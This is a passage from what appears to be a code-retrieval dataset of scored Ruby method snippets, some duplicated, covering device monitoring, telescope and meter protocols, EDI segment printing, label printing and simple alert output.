"def action_monitor(number, host, not_used)\n results = \"HYPERVISOR=dummy,\"\n results << \"HOSTNAME=#{host},\"\n\n results << \"TOTALCPU=800,\"\n results << \"CPUSPEED=2.2GHz,\"\n\n results << \"TOTALMEMORY=16777216,\"\n results << \"USEDMEMORY=0,\"\n results << \"FREEMEMORY=16777216,\"\n\n results << \"FREECPU=800,\"\n results << \"USEDCPU=0\"\n\n send_message(\"MONITOR\", RESULT[:success], number, results)\n end", "title": "" }, { "docid": "56ea931b4d543196765f076b98197273", "score": "0.46383715", "text": "def get_interrupt\n send_request(FUNCTION_GET_INTERRUPT, [], '', 1, 'C')\n end", "title": "" }, { "docid": "2a50af113958c528a3b5e240ab08de84", "score": "0.46381128", "text": "def alert(pkt, incident, num)\n\tprint \"{num}. ALERT: #{incident} is detected from #{pkt.ip_sadder} #{pkt.proto.last} #{pkt.payload}!\\n\"\nend", "title": "" }, { "docid": "50a7447316afacb541652040ebff7f56", "score": "0.46380174", "text": "def reticle_flash_duty_cycle\n if n >= 0 && n <= 15\n command(\"#:BD#{n}#\")\n end\n end", "title": "" }, { "docid": "993d3d68ee4c75c845d58f32b10d152c", "score": "0.46178803", "text": "def printAlert(count, incident, sourceIP, protocol, payload, notScan=false)\n\tif notScan\n\t\tputs \"#{count}. ALERT: #{incident} in the clear from #{sourceIP} (#{protocol}) (#{payload})\"\n\telse\n\t\tputs \"#{count}. ALERT: #{incident} is detected from #{sourceIP} (#{protocol}) (#{payload})\"\n\tend\nend", "title": "" }, { "docid": "eb4d0d8c4fda2d92c95f022348394312", "score": "0.46158922", "text": "def manual_line\n\t\t@ida.get_manual_insn(@ea)\n\tend", "title": "" }, { "docid": "e9d2561ae51b7e8b6f4677c24beb015b", "score": "0.46072322", "text": "def get_ReportRequestId()\n \t return @outputs[\"ReportRequestId\"]\n \tend", "title": "" }, { "docid": "e9d2561ae51b7e8b6f4677c24beb015b", "score": "0.46072322", "text": "def get_ReportRequestId()\n \t return @outputs[\"ReportRequestId\"]\n \tend", "title": "" }, { "docid": "e9d2561ae51b7e8b6f4677c24beb015b", "score": "0.46072322", "text": "def get_ReportRequestId()\n \t return @outputs[\"ReportRequestId\"]\n \tend", "title": "" }, { "docid": "e9d2561ae51b7e8b6f4677c24beb015b", "score": "0.4607112", "text": "def get_ReportRequestId()\n \t return @outputs[\"ReportRequestId\"]\n \tend", "title": "" }, { "docid": "e9d2561ae51b7e8b6f4677c24beb015b", "score": "0.4607112", "text": "def get_ReportRequestId()\n \t return @outputs[\"ReportRequestId\"]\n \tend", "title": "" }, { "docid": "e9d2561ae51b7e8b6f4677c24beb015b", "score": "0.4607112", "text": "def get_ReportRequestId()\n \t return @outputs[\"ReportRequestId\"]\n \tend", "title": "" }, { "docid": "c821aa5b4fa0f10bd2b42daf3b2a82df", "score": "0.46023273", "text": "def get_warranty_info(serial, cookies)\n begin\n resp = HTTP.get(\"/Coverage.action?serialId=#{serial}\", cookies)\n hash = JSON.parse(resp.body)\n rescue => e\n puts \"An error occured checking this serial - #{serial}\"\n puts e.backtrace\n end\n\nend", "title": "" }, { "docid": "a8621411993f4aa58966559ee8aa3e8d", "score": "0.45963678", "text": "def request_results\n\t\t\">0002009300\\r00\"\n\tend", "title": "" }, { "docid": "0fd2c15a11e125ff28470e73890684a4", "score": "0.45957664", "text": "def message(text)\n text.split(\"\\n\").each_with_index{|line, i| # Split at newline(s)\n write(0xC0) if i > 0 # If newline(s), set DDRAM address to 2nd line\n write(line, true) # Issue substring\n }\n end", "title": "" }, { "docid": "ef96ef67dfa30601dae185f46522585e", "score": "0.4589255", "text": "def report_info(resp, type3_hash)\n data = get_hash_info(type3_hash)\n\n # no need to generically always grab everything, but grab common config options\n # and the response, some may be set to nil and that's fine\n data[:protocol] = datastore['RTYPE']\n data[:RHOST] = datastore['RHOST']\n data[:RPORT] = datastore['RPORT']\n data[:RURI] = datastore['RURIPATH']\n data[:SYNCID] = datastore['SYNCID']\n data[:Response] = resp\n\n report_note(\n :host => data[:ip],\n :type => 'ntlm_relay',\n :update => 'unique_data',\n :data => data\n )\n end", "title": "" }, { "docid": "ef96ef67dfa30601dae185f46522585e", "score": "0.4589255", "text": "def report_info(resp, type3_hash)\n data = get_hash_info(type3_hash)\n\n # no need to generically always grab everything, but grab common config options\n # and the response, some may be set to nil and that's fine\n data[:protocol] = datastore['RTYPE']\n data[:RHOST] = datastore['RHOST']\n data[:RPORT] = datastore['RPORT']\n data[:RURI] = datastore['RURIPATH']\n data[:SYNCID] = datastore['SYNCID']\n data[:Response] = resp\n\n report_note(\n :host => data[:ip],\n :type => 'ntlm_relay',\n :update => 'unique_data',\n :data => data\n )\n end", "title": "" }, { "docid": "0314e298c35184c42764d2078f5bfa30", "score": "0.4579411", "text": "def send_inquiry\n send_midi(0xF0, 0x7E, 0x7F, 0x06, 0x01, 0xF7)\n end", "title": "" }, { "docid": "5e206142d3bdd3d08b09bc0bdc4d4f45", "score": "0.45773306", "text": "def show\n @it_repair = ItRepair.find(params[:id])\n\n @c_ip = ItDevice.where(:code=>@it_repair.c_name).first.ip rescue nil\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @it_repair }\n end\n end", "title": "" }, { "docid": "1ba01c49d7bfb502de61b866fe86071f", "score": "0.457336", "text": "def print_n1_pe_segment\n n1_pe_element_methods = @segments_list[:N1_PE]\n n1_pe_elements = [\n send(n1_pe_element_methods[:N1_PE00][0].to_sym, n1_pe_element_methods[:N1_PE00][1]), #['segment_name', 'N1']\n send(n1_pe_element_methods[:N1_PE01][0].to_sym, n1_pe_element_methods[:N1_PE01][1].to_s), #['print_constant', 'PE']\n send(n1_pe_element_methods[:N1_PE02][0].to_sym, n1_pe_element_methods[:N1_PE02][1]), #payee_name\n send(n1_pe_element_methods[:N1_PE03][0].to_sym, n1_pe_element_methods[:N1_PE03][1]), #identification_code_qualifier\n send(n1_pe_element_methods[:N1_PE04][0].to_sym, n1_pe_element_methods[:N1_PE04][1]) #identification_code\n ]\n n1_pe_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "4d3875c83de6fd3cd6706f3fc894e77c", "score": "0.4562969", "text": "def request_single(item, id, params = {})\n @logger.info(\"Request : #{item}\")\n @logger.info(\"Params : #{params.inspect}\")\n\n details = request_raw(\"#{item}/#{id}\", params)\n raise Ncdc::Error.new(\"Request for '#{item}/#{id}' failed - no data\") if details.empty?\n details\n end", "title": "" }, { "docid": "cc310081d4a2b475888490d4e3fe0d29", "score": "0.45562187", "text": "def constellation_id; igb_variable_get(:constellation_id, \"The IGB does not yet supply :constellation_id headers, so this will always be nil\"); end", "title": "" }, { "docid": "94a00d4fdc5ddfdfcd5c50da1378f6bd", "score": "0.4553104", "text": "def _getFromHeaderReason\n \n \n @_sHeaderReason = @_sResultHeader[\"X-INO-Reason\"]\n end", "title": "" }, { "docid": "05a5d5e09c9137a57a65f4e27392b2b0", "score": "0.45511517", "text": "def agis_mailbox\n mid = agis_id_prelim\n raise NoAgisIDAvailable unless mid\n a = \"AGIS TERMINAL : \" + self.class.to_s + \" : \" + mid.to_s\n end", "title": "" }, { "docid": "dd86e3c616a3f96965f0a23faf245028", "score": "0.45461082", "text": "def getSCHDetail(mac)\n\n ld(\"getSHMDetail(): #{mac}\")\n _mac = mac.gsub(/\\./,'')\n ld(_mac)\n\n _mac = formatC3Mac(mac)\n\n result = ''\n\n # Get list\n @base.cmd(\"show cable host #{_mac}\") { |c| result += c }\n\n # Move result into array\n a = result.split(\"\\n\")\n\n # Log result\n a.each {|e| ld(e)}\n\n # Remove any ending space char\n a.delete_if {|x| x == \"show cable host #{_mac}\" || x.blank?}\n a.delete_if {|x| puts x; x.match(/^(MAC Address)/)}\n\n # Remove column footer\n a.pop\n\n # Now format the individual lines\n # c0c1.c083.8e3d 216.19.38.75 learned\n # Array of hashes\n parsed_a = []\n a.each do |e|\n m = e.match /^([a-f0-9\\.]+)\\s+(\\d{2,3}\\.\\d{0,3}\\.\\d{0,3}\\.\\d{0,3})\\s+(\\w+)/\n if (!m.nil?)\n parsed_a.push({:mac => m[1],:ip => m[2],:type => m[3]})\n end\n end\n return parsed_a, mac\n end", "title": "" }, { "docid": "d45f61b125dbd197edcc7c3a4175a425", "score": "0.45430598", "text": "def device_comm_log\n logger.debug \"Getting device communication log\"\n @browser.get(\"#{@locations.log}&serialNumber=#{@serial_number}&deviceID=#{@device_id}\").parser.at_xpath(\"//textarea[@id='logContainter']\").text\n end", "title": "" }, { "docid": "02dace7ea98b46346f79cafb70623cf8", "score": "0.45404246", "text": "def getYieldAndClusterInfo(demuxStatsHTM)\n doc = open(demuxStatsHTM) { |f| Hpricot(f) }\n\n table = (doc/\"/html/body/div[@ID='ScrollableTableBodyDiv']\").first\n\n rows = (table/\"tr\")\n rows.each do |row|\n dataElements = (row/\"td\")\n\n if dataElements[1].inner_html.eql?(@fcBarcode)\n # Convert yield from MBases to KBases and remove all comma characters\n @yield = dataElements[7].inner_html.gsub(\",\", \"\").to_i * 1000\n\n if @isPaired == true\n @yield = @yield / 2\n end\n\n @percentPFClusters = dataElements[8].inner_html\n end\n end\n end", "title": "" }, { "docid": "5332ad9a2748bfb4492738a93eb08051", "score": "0.4534871", "text": "def print_rdm_segment\n rdm_element_methods = @segments_list[:RDM]\n rdm_elements = verify_rdm_condition{\n [\n send(rdm_element_methods[:RDM00][0].to_sym, rdm_element_methods[:RDM00][1]), #remittance_delivery_method\n send(rdm_element_methods[:RDM01][0].to_sym, rdm_element_methods[:RDM01][1]), #report_transmission_code\n send(rdm_element_methods[:RDM02][0].to_sym, rdm_element_methods[:RDM02][1]), #report_name\n send(rdm_element_methods[:RDM03][0].to_sym, rdm_element_methods[:RDM03][1]) #report_communication_number\n ]\n }\n rdm_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "89b096202f06e9d0835fc1b107f840ff", "score": "0.45342675", "text": "def get_uuid(device)\n Chef::Log.info(\"Getting uuid for device: #{device}\")\n match = shell_out(\"blkid -c /dev/null #{device}\").stdout.match(/\\sUUID=\"(.*?)\"/)\n match = '' if match.nil?\n Chef::Log.info(\"uuid for device: #{device} is #{match[1]}\")\n match[1]\nend", "title": "" }, { "docid": "9720e8ac795edc52dd366fc8116a1aed", "score": "0.45323458", "text": "def print_master\n bill_nb = params[:id]\n cmd = \n\"^XA~TA000~JSN^LT0^MMT^MNW^MTT^PON^PMN^LH0,0^JMA^PR4,4^MD0^JUS^LRN^CI0^XZ\n^XA\n^FT516,57^A0R,62,55^FH\\^FDHalla Visteon Climate Control(Beijing)Co.,Ltd.^FS\n^FT186,61^A0R,52,36^FH\\^FDInvoice Date :^FS\n^FT186,285^A0R,42,31^FH\\^FD${INVOICE_DATE}^FS\n^FT277,88^A0R,42,36^FH\\^FDInvoice No :^FS\n^FT277,285^A0R,42,38^FH\\^FD${INVOICE_NO}^FS\n^FT360,69^A0R,52,36^FH\\^FDInternal No. :^FS\n^FT360,285^A0R,42,40^FH\\^FD${BILL_NB}^FS\n^FT95,110^A0R,48,40^FH\\^FDP/O No. :^FS\n^FT95,285^A0R,42,45^FH\\^FD${PO_NO}^FS\n^BY260,260^FT445,800^BXI,4,200,0,0,1\n^FH\\^FD${BARCODE}^FS\n^XZ\"\n\n sql = \"SELECT INVOICE_DATE, CASE WHEN LENGTH(INVOICE_NO)>21 THEN SUBSTR(INVOICE_NO,1,21) ELSE INVOICE_NO END AS INVOICE_NO, BILL_NB, SUBSTR(BILL_NB, 8,8) BILL_DATE, CASE WHEN LENGTH(PO_NO)>20 THEN SUBSTR(PO_NO,1,21) ELSE PO_NO END AS PO_NO FROM BAR_INVHEAD WHERE BILL_NB = '#{bill_nb}'\"\n conn = ActiveRecord::Base.connection()\n masters = conn.select_all(sql)\n \n if(masters && masters.size > 0)\n \tmaster = masters[0]\n \tbarcode = \"#{bill_nb}|#{master['invoice_no']}|#{master['invoice_date']}|#{master['po_no']}|#{master['bill_date']}\"\n \tdebug_print barcode\n end\n \n \n sql = \"SELECT ITEM_SQ, ITEM_CD, LOT_QT, PRICE FROM BAR_INVDETAIL WHERE BILL_NB = '#{bill_nb}'\"\n conn = ActiveRecord::Base.connection()\n details = conn.select_all(sql)\n \n\tdetails.each do |detail|\n\t\tbarcode << \"|#{detail['item_sq']}|#{detail['item_cd']}|#{detail['lot_qt']}|#{detail['price']}\"\n\tend\n\t\n\tbarcode = str_pad(barcode, ' ', 530, 'R')\n\tdebug_print \"[#{barcode.size}][#{barcode}]\"\n \n if(masters && masters.size > 0)\n master = masters[0]\n cmd.gsub!(\"${INVOICE_DATE}\", master[\"invoice_date\"])\n cmd.gsub!(\"${INVOICE_NO}\", master[\"invoice_no\"])\n cmd.gsub!(\"${BILL_NB}\", master[\"bill_nb\"])\n cmd.gsub!(\"${PO_NO}\", master[\"po_no\"])\n cmd.gsub!(\"${BARCODE}\", barcode)\n debug_print cmd\n result = {:success => true, :id => bill_nb, :print_command => cmd}\n else\n result = {:success => false, :id => bill_nb}\n end\n \n respond_to do |format|\n format.xml { render :xml => result }\n format.json { render :json => result }\n end \n end", "title": "" }, { "docid": "09b5e89b1d20e7064c349be192b3a70b", "score": "0.45310265", "text": "def print_nm1_74_segment\n nm1_74_element_methods = @segments_list[:NM1_74]\n nm1_74_elements = [\n send(nm1_74_element_methods[:NM1_7400][0].to_sym, nm1_74_element_methods[:NM1_7400][1]), #corrected_patient_or_insured_name\n send(nm1_74_element_methods[:NM1_7401][0].to_sym, nm1_74_element_methods[:NM1_7401][1]), #corrected_patient_entity_identifier_code\n send(nm1_74_element_methods[:NM1_7402][0].to_sym, nm1_74_element_methods[:NM1_7402][1]), #corrected_patient_entity_type_qualifier\n send(nm1_74_element_methods[:NM1_7403][0].to_sym, nm1_74_element_methods[:NM1_7403][1]), #corrected_patient_or_insurer_last_name\n send(nm1_74_element_methods[:NM1_7404][0].to_sym, nm1_74_element_methods[:NM1_7404][1]), #corrected_patient_or_insurer_first_name\n send(nm1_74_element_methods[:NM1_7405][0].to_sym, nm1_74_element_methods[:NM1_7405][1]), #corrected_patient_or_insurer_middle_name\n send(nm1_74_element_methods[:NM1_7406][0].to_sym, nm1_74_element_methods[:NM1_7406][1]), #corrected_patient_or_insurer_name_prefix\n send(nm1_74_element_methods[:NM1_7407][0].to_sym, nm1_74_element_methods[:NM1_7407][1]), #corrected_patient_name_suffix\n send(nm1_74_element_methods[:NM1_7408][0].to_sym, nm1_74_element_methods[:NM1_7408][1]), #corrected_patient_identification_code_qualifier\n send(nm1_74_element_methods[:NM1_7409][0].to_sym, nm1_74_element_methods[:NM1_7409][1]), #corrected_insurer_identification_indicator\n send(nm1_74_element_methods[:NM1_7410][0].to_sym, nm1_74_element_methods[:NM1_7410][1]) #entity_relationship_code\n ]\n nm1_74_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "b0717d4682144f3e6c5cc2df6020d3de", "score": "0.45308635", "text": "def request_b\n\n # 2F 3F 12 Bytes Address 30 31 21 0D 0A\n # /?00000000012301! then a CRLF\n request = \"/?\" + meter_number + \"01!\\r\\n\"\n read_bytes = 255\n @logger.debug \"Socket write #{request}\" unless logger.nil?\n response = get_remote_meter_data(request, read_bytes)\n if response.nil?\n @logger.error \"No response to request_a from meter #{meter_number}\"\n raise EkmOmnimeter, \"No response from meter.\"\n end\n\n # Split the response string into an array and prepare a hash to store the values\n a = response.split('')\n d = {}\n\n # Return (255 Bytes total) :\n a.shift(1) # 02\n d[:meter_type] = a.shift(2) # 2 Byte Meter Type\n d[:meter_firmware] = a.shift(1) # 1 Byte Meter Firmware\n d[:address] = a.shift(12) # 12 Bytes Address\n\n # Diff from request A start\n #d[:t1_t2_t3_t4_kwh] = a.shift(32) # 32 Bytes T1, T2, T3, T4 kwh\n d[:total_kwh_t1] = a.shift(8)\n d[:total_kwh_t2] = a.shift(8)\n d[:total_kwh_t3] = a.shift(8)\n d[:total_kwh_t4] = a.shift(8)\n\n #d[:t1_t2_t3_t4_rev_kwh] = a.shift(32) # 32 Bytes T1, T2, T3, T4 Rev kWh\n d[:reverse_kwh_t1] = a.shift(8)\n d[:reverse_kwh_t2] = a.shift(8)\n d[:reverse_kwh_t3] = a.shift(8)\n d[:reverse_kwh_t4] = a.shift(8)\n\n # Diff from request A end\n d[:volts_l1] = a.shift(4) # 4 Bytes Volts L1\n d[:volts_l2] = a.shift(4) # 4 Bytes Volts L2\n d[:volts_l3] = a.shift(4) # 4 Bytes Volts L3\n d[:amps_l1] = a.shift(5) # 5 Bytes Amps L1\n d[:amps_l2] = a.shift(5) # 5 Bytes Amps L2\n d[:amps_l3] = a.shift(5) # 5 Bytes Amps L3\n d[:watts_l1] = a.shift(7) # 7 Bytes Watts L1\n d[:watts_l2] = a.shift(7) # 7 Bytes Watts L2\n d[:watts_l3] = a.shift(7) # 7 Bytes Watts L3\n d[:watts_total] = a.shift(7) # 7 Bytes Watts Total\n d[:power_factor_1] = a.shift(4) # 4 Bytes Cosϴ L1\n d[:power_factor_2] = a.shift(4) # 4 Bytes Cosϴ L2\n d[:power_factor_3] = a.shift(4) # 4 Bytes Cosϴ L3\n # Diff from request A start\n d[:maximum_demand] = a.shift(8) # 8 Bytes Maximum Demand\n d[:maximum_demand_period] = a.shift(1) # 1 Byte Maximum Demand Time\n d[:pulse_1_ratio] = a.shift(4) # 4 Bytes Pulse Ratio 1\n d[:pulse_2_ratio] = a.shift(4) # 4 Bytes Pulse Ratio 2\n d[:pulse_3_ratio] = a.shift(4) # 4 Bytes Pulse Ratio 3\n d[:ct_ratio] = a.shift(4) # 4 Bytes CT Ratio\n d[:auto_reset_max_demand] = a.shift(1) # 1 Bytes Auto Reset MD\n d[:settable_pulse_per_kwh_ratio] = a.shift(4) # 4 Bytes Settable Imp/kWh Constant\n # Diff from request A end\n a.shift(56) # 56 Bytes Reserved\n meter_timestamp = a.shift(14).join('') # 14 Bytes Current Time\n a.shift(6) # 30 30 21 0D 0A 03\n d[:checksum] = a.shift(2) # 2 Bytes CRC16\n\n # Smash arrays into strungs\n d.each {|k,v| d[k] = v.join('')}\n\n # Verify that the checksum is correct\n verify_checksum(response, d[:checksum])\n\n # Cast types\n d[:meter_type] = d[:meter_type].unpack('H*')[0]\n d[:meter_firmware] = d[:meter_firmware].unpack('H*')[0]\n d[:power_factor_1] = cast_power_factor(d[:power_factor_1])\n d[:power_factor_2] = cast_power_factor(d[:power_factor_2])\n d[:power_factor_3] = cast_power_factor(d[:power_factor_3])\n d[:meter_timestamp] = as_datetime(meter_timestamp)\n cast_response_to_correct_types(d)\n\n # Lookup mapped values\n d[:meter_type] = METER_TYPE_MAP[d[:meter_type]]\n d[:maximum_demand_period] = DEMAND_PERIOD_TIME_MAP[d[:maximum_demand_period]]\n d[:auto_reset_max_demand] = AUTO_RESET_MAX_DEMAND_MAP[d[:auto_reset_max_demand]]\n\n # Merge to values and reset time\n @values.merge!(d)\n @last_read_timestamp = Time.now\n\n # Calculate totals based on wiring configuration\n @values[:volts] = calculate_measurement(volts_l1, volts_l2, volts_l3)\n @values[:amps] = calculate_measurement(amps_l1, amps_l2, amps_l3)\n @values[:watts] = calculate_measurement(watts_l1, watts_l2, watts_l3)\n\n # Return the values returned by just this call (different than values)\n return d\n\n end", "title": "" }, { "docid": "6d22529f16b2d495e1315fe9a07c6e3d", "score": "0.45268044", "text": "def action_monitor(number, host)\n config = get_configuration(host)\n results = \"HYPERVISOR=dummy,\"\n results << \"NAME=#{host},\"\n\n results << \"TOTALCPU=#{config['CPU']},\"\n results << \"CPUSPEED=2.2GHz,\"\n\n results << \"TOTALMEMORY=16777216,\"\n results << \"USEDMEMORY=0,\"\n results << \"FREEMEMORY=16777216,\"\n\n results << \"FREECPU=#{config['FREECPU']},\"\n results << \"USEDCPU=0\"\n\n send_message(\"MONITOR\", RESULT[:success], number, results)\n end", "title": "" }, { "docid": "ad267e8113efe518177d084afc7092a9", "score": "0.45256487", "text": "def get_firmware_number\n command(\"#:GVN#\")\n return read_LX200\n end", "title": "" }, { "docid": "6e93e5517890805962548c4c97ecc35c", "score": "0.45241818", "text": "def report\n if self[:ping].nil?\n alarm \"BTC Guild not responding to ping\"\n else\n end\n end", "title": "" }, { "docid": "26b9545d05faeeb6516fe777298432d3", "score": "0.4523841", "text": "def checkControl(id, headers)\n result = RestClient.get(action('checkControl'), @headers.merge({'CommandId' => id}))\n\n Nokogiri::XML(result) \n end", "title": "" }, { "docid": "8990411aa4e2a6024f939873a0f021ff", "score": "0.45230883", "text": "def parse_ie_hnb_information_reporting(payload_data)\n hnb_information_reporting = {}\n \n hnb_information_reporting[:hnb_information_reporting] = payload_data[0].unpack(\"H*\")[0].hex\n \n return hnb_information_reporting\n end", "title": "" }, { "docid": "3d8ef3df1556403d03d2789116ed6d6b", "score": "0.45195827", "text": "def create\n @inform = Inform.find(params[:inform_id])\n @diagnostic = @inform.diagnostics.build(diagnostic_params)\n @diagnostic.user_id = current_user.id\n\n @diagnostic.diagcode_id = Diagcode.where(pss_code: @diagnostic.pss_code).first.id\n @diagnostic.who_code = Diagcode.where(pss_code: @diagnostic.pss_code).first.who_code\n\n @diagnostic.save\n\n get_diagcodes\n end", "title": "" }, { "docid": "5b2da0815e47b4af4ff0c2045ebb9600", "score": "0.45174992", "text": "def prepare\n i = 0\n msg = \"\"\n begin\n i += 1\n getmsg(Masterclear,2.0)\n rescue => e\n msg += e\n retry if i < 4\n raise msg\n end\n end", "title": "" }, { "docid": "d18f0b2f1a91b047571f90acae1a16d8", "score": "0.45141542", "text": "def alert(inc_num, incident, ip, proto, payload)\n puts \"#{inc_num}. ALERT #{incident} is detected from #{ip} (#{proto}) (#{payload})!\"\nend", "title": "" }, { "docid": "65929aface3f635f2498b3175992e086", "score": "0.45108494", "text": "def showModemAudit\n @record = Plat.getAccountInfo(params)\n respond_to do |format|\n format.html { render :showplatinfo, :layout => \"application\" }\n end\n end", "title": "" }, { "docid": "6996306461b243514e3406f2d483e02a", "score": "0.4509424", "text": "def show_uid_metrics\n path = \"/sysmgmt/tenants/#{@platform.tenant_name}/#{params[:subtenant_name]}/#{params[:uid]}/scMetrics\"\n @response, temp = atmos_management_request(\"Get\", Hash.new, path, nil, \"tenantadmin\")\n respond_to do |format|\n format.html { render :show_uid_metrics }\n end\n end", "title": "" }, { "docid": "51a11a088877fe08af10e458a7a23774", "score": "0.4507887", "text": "def nxapi_probe(cmd)\n test_client = nxapi_test_client\n out = test_client.set(values: cmd)\n out.to_s\n rescue Cisco::CliError => e\n e.to_s\n end", "title": "" } ]
3dc3b1b28937da5429e94cd83254e7fc
PUT /bubbles/1 PUT /bubbles/1.xml
[ { "docid": "33b08852c59d4cf1b8ebe97e5c7fe6a7", "score": "0.6722374", "text": "def update\n @bubble = Bubble.find(params[:id])\n\n respond_to do |format|\n if @bubble.update_attributes(params[:bubble])\n format.html { redirect_to(@bubble, :notice => 'Bubble was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bubble.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "23b5f5e4dacfb330cb1e0ffd4590ef63", "score": "0.6440593", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end", "title": "" }, { "docid": "02973374edad7d82ef6b8759487b5af0", "score": "0.6416833", "text": "def update\n @bubble = Bubble.find(params[:id])\n\n respond_to do |format|\n if @bubble.update_attributes(params[:bubble])\n format.html { redirect_to @bubble, notice: 'Bubble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bubble.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad54471b285e5e357d9be959c8ade2d8", "score": "0.6097248", "text": "def update\n path = \"/workflow/#{repo}/objects/druid:#{druid}/workflows/#{workflow}/#{step}\"\n conn = Faraday.new(url: config['host'])\n conn.basic_auth(config['user'], config['password'])\n conn.headers['content-type'] = 'application/xml'\n\n conn.put path, payload\n end", "title": "" }, { "docid": "5a586af054da62483bb90ac9097a52e9", "score": "0.6027414", "text": "def update\n respond_to do |format|\n if @bubble.update(bubble_params)\n format.html { redirect_to @bubble, notice: 'Posting was successfully updated.' }\n format.json { render :show, status: :ok, location: @bubble }\n else\n format.html { render :edit }\n format.json { render json: @bubble.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fbd7c46b15ae2792fd842ba0d764b7d0", "score": "0.5861074", "text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end", "title": "" }, { "docid": "7dcf61d28367255f0ec9cea7ade341de", "score": "0.5796958", "text": "def update(id, name=\"Updated Name\", published=\"false\", genre=\"movie\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <timeline>\r\n <published type='string'>#{published}</published>\r\n <id type='integer'>#{id}</id>\r\n <description>#{name}</description>\r\n <genre>#{genre}</genre>\r\n </timeline>\"\r\n \r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n \r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "title": "" }, { "docid": "38979984bdedacd95706689e25f09f9e", "score": "0.5735075", "text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end", "title": "" }, { "docid": "9ddf960eb3f437e62b9b99d34992bc0f", "score": "0.5703383", "text": "def test_should_update_status_post_via_API_XML\r\n get \"/logout\"\r\n put \"/status_posts/1.xml\", :api_key => 'testapikey',\r\n :status_post => {:body => 'API Status Post 1' }\r\n assert_response :success\r\n end", "title": "" }, { "docid": "54ff615527044d59a573bbf5f780ec95", "score": "0.5698243", "text": "def update\n @comic = @bubble.comic\n\n respond_to do |format|\n if @bubble.update(bubble_params)\n format.html { redirect_to @comic, notice: 'Bubble was successfully updated.' }\n format.json { render :show, status: :ok, location: @bubble }\n else\n format.html { render :edit }\n format.json { render json: @bubble.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1ebd27bedbc96108589f86811c740a9", "score": "0.5636461", "text": "def update\n respond_to do |format|\n if @bubble_status.update(bubble_status_params)\n format.html { redirect_to @bubble_status, notice: 'Bubble status was successfully updated.' }\n format.json { render :show, status: :ok, location: @bubble_status }\n else\n format.html { render :edit }\n format.json { render json: @bubble_status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2db8510634a8588feaf130b0ace4c384", "score": "0.56070215", "text": "def test_should_update_blog_post_via_API_XML\r\n get \"/logout\"\r\n put \"/blog_posts/1.xml\", :api_key => 'testapikey',\r\n :blog_post => {:title => 'API Test Post',\r\n :body => 'API Test Body',\r\n :published => true,\r\n :featured => false,\r\n :summary => 'Blog Post Summary',\r\n :url => 'http://www.apiblogpost.com',\r\n :guid => '22222' }\r\n assert_response :success\r\n end", "title": "" }, { "docid": "5e1a1c51e8af22a6e1bedb295e9ec993", "score": "0.55008584", "text": "def destroy\n @bubble = Bubble.find(params[:id])\n @bubble.destroy\n\n respond_to do |format|\n format.html { redirect_to(bubbles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "87a5ab744cf579b595a8236ae9416d8b", "score": "0.54716176", "text": "def set_bubble\n @bubble = Bubble.find(params[:id])\n end", "title": "" }, { "docid": "87a5ab744cf579b595a8236ae9416d8b", "score": "0.54716176", "text": "def set_bubble\n @bubble = Bubble.find(params[:id])\n end", "title": "" }, { "docid": "87af65c41d71934f751a9d41a815d66d", "score": "0.5462286", "text": "def update(name, attributes)\n deprecate # 07/26/2012\n put(\"/bots/#{name}\", :bot => attributes).to_s\n end", "title": "" }, { "docid": "bd1782919e3c82d51420df4c3d5c180a", "score": "0.54548645", "text": "def post(content)\n post_to(\"/statuses/update.xml\", {:status => content})\n end", "title": "" }, { "docid": "a6eaddde60ad0ad290c11346400ad414", "score": "0.53777426", "text": "def put\n request = Net::HTTP::Put.new(endpoint_uri.request_uri)\n request.basic_auth Unfuzzle.username, Unfuzzle.password\n request.content_type = 'application/xml'\n \n Response.new(client.request(request, @payload))\n end", "title": "" }, { "docid": "1be44c3e0ba097e5e9e3383b5907538c", "score": "0.5373321", "text": "def update(id, member=\"Default member\", rating=\"9\", venue_Name=\"Default Venue_Name\", address=\"Default Address\", city=\"Default City\", phone=\"9999999999\" , date=\"\" , comment= \"Default Comment\")\r\n\t\txml_req =\r\n\t\t\"<?xml version='1.0' encoding='UTF-8'?>\r\n\t\t\t<review>\r\n\t\t\t\t<Member>#{member}</Member>\r\n\t\t\t\t<Rating>#{rating}</Rating>\r\n\t\t\t\t<Venue-Name>#{venue_Name}</Venue-Name>\r\n\t\t\t\t<Address>#{address}</Address>\r\n\t\t\t\t<City>#{city}</City>\r\n\t\t\t\t<Phone>#{phone}</Phone>\r\n\t\t\t\t<Date-of-Visit>date</Date-of-Visit>\r\n\t\t\t\t<Comment>#{comment}</Comment>\t\t\t\t\t\r\n\t\t\t</review>\"\r\n\r\n\t\trequest = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n\t\trequest.add_field \"Content-Type\", \"application/xml\"\r\n\t\trequest.body = xml_req\r\n\r\n\t\thttp = Net::HTTP.new(@uri.host, @uri.port)\r\n\t\tresponse = http.request(request)\r\n\r\n\t\t# no response body will be returned\r\n\t\tcase response\r\n\t\twhen 